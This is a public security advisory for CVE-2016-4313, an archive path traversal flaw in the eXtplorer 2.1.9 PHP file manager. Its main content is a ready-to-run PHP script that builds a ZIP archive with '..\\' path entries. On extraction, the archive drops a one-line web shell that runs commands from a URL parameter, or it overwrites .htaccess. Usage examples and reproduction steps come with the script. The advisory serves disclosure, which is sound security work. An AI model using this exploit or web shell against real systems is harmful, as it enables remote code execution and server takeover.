eXtplorer 2.1.9 – ‘.ZIP’ Directory Traversal
/* [+] Credits: John Page aka hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/EXTPLORER-ARCHIVE-PATH-TRAVERSAL.txt [+] ISR: apparitionsec Vendor: ============== extplorer.net Product: ================== eXtplorer v2.1.9 eXtplorer is a PHP and Javascript-based File Manager, it allows to browse directories, edit, copy, move, delete, search, upload and download files, create & extract archives, create new files and directories, change file permissions (chmod) and more. It is often used as FTP extension for popular applications like Joomla. Vulnerability Type: ====================== Archive Path Traversal CVE Reference: ============== CVE-2016-4313 Vulnerability Details: ===================== eXtplorer unzip/extract feature allows for path traversal as decompressed files can be placed outside of the intended target directory, if the archive content contains "../" characters. This can result in files like ".htaccess" being overwritten or RCE / back door exploits. Tested on Windows Reproduction steps: ================== 1) Generate an archive using below PHP script 2) Upload it to eXtplorer and then extract it 3) Check directory for the default 'RCE.php' file or use CL switch to overwrite files like .htaccess Exploit code(s): =============== Run below PHP script from CL... [evil-archive.php] */ <?php if($argc<4){echo "Usage: <zip name>, <path depth>, <RCE.php as default? Y/[file]>";exit();} $zipname=$argv[1]; $exploit_file="RCE.php"; $cmd='<?php exec($_GET["cmd"]); ?>'; if(!empty($argv[2])&&is_numeric($argv[2])){ $depth=$argv[2]; }else{ echo "Second flag <path depth> must be numeric!, you supplied '$argv[2]'"; exit(); } if(strtolower($argv[3])!="y"){ if(!empty($argv[3])){ $exploit_file=$argv[3]; } if(!empty($argv[4])){ $cmd=$argv[4]; }else{ echo "Usage: enter a payload for file $exploit_file wrapped in double quotes"; exit(); } } $zip = new ZipArchive(); $res = $zip->open("$zipname.zip", ZipArchive::CREATE); $zip->addFromString(str_repeat("..\\", $depth).$exploit_file, $cmd); $zip->close(); echo "\r\nExploit archive $zipname.zip created using $exploit_file\r\n"; echo "================ by hyp3rlinx ==================="; ?> /* /////////////////////////////////////////////////////////////////////// [Script examples] Use default RCE.php by passing "y" flag creating DOOM.zip with path depth of 2 levels c:\>php evil-archive.php DOOM 2 Y Create DOOM.zip with path depth of 4 levels and .htaccess file to overwrite one on the system. c:\>php evil-archive.php DOOM 4 .htaccess "allow from all" Disclosure Timeline: =================================== Vendor Notification: No reply May 14, 2016 : Public Disclosure Exploitation Method: ====================== Local Severity Level: ================ Medium 6.3 CVSS:3.0/AV:L/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:N [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. hyp3rlinx */ |